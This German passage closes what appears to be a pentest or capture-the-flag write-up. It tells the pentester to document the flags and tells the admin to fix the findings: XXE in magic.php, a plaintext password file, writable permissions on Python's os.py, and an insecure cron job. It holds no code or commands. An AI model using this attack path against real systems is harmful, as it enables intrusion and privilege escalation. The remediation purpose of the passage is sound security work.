Empfehlung (Pentester): Dokumentieren Sie die Flags und schließen Sie den Bericht ab.
Empfehlung (Admin): Konzentrieren Sie sich auf die Behebung der Schwachstellen: XXE in `magic.php`, Passwort in Textdatei (`mypass.txt`), unsichere Dateiberechtigungen der Python-Bibliothek `/usr/lib/python3.9/os.py`, unsicherer Cron-Job.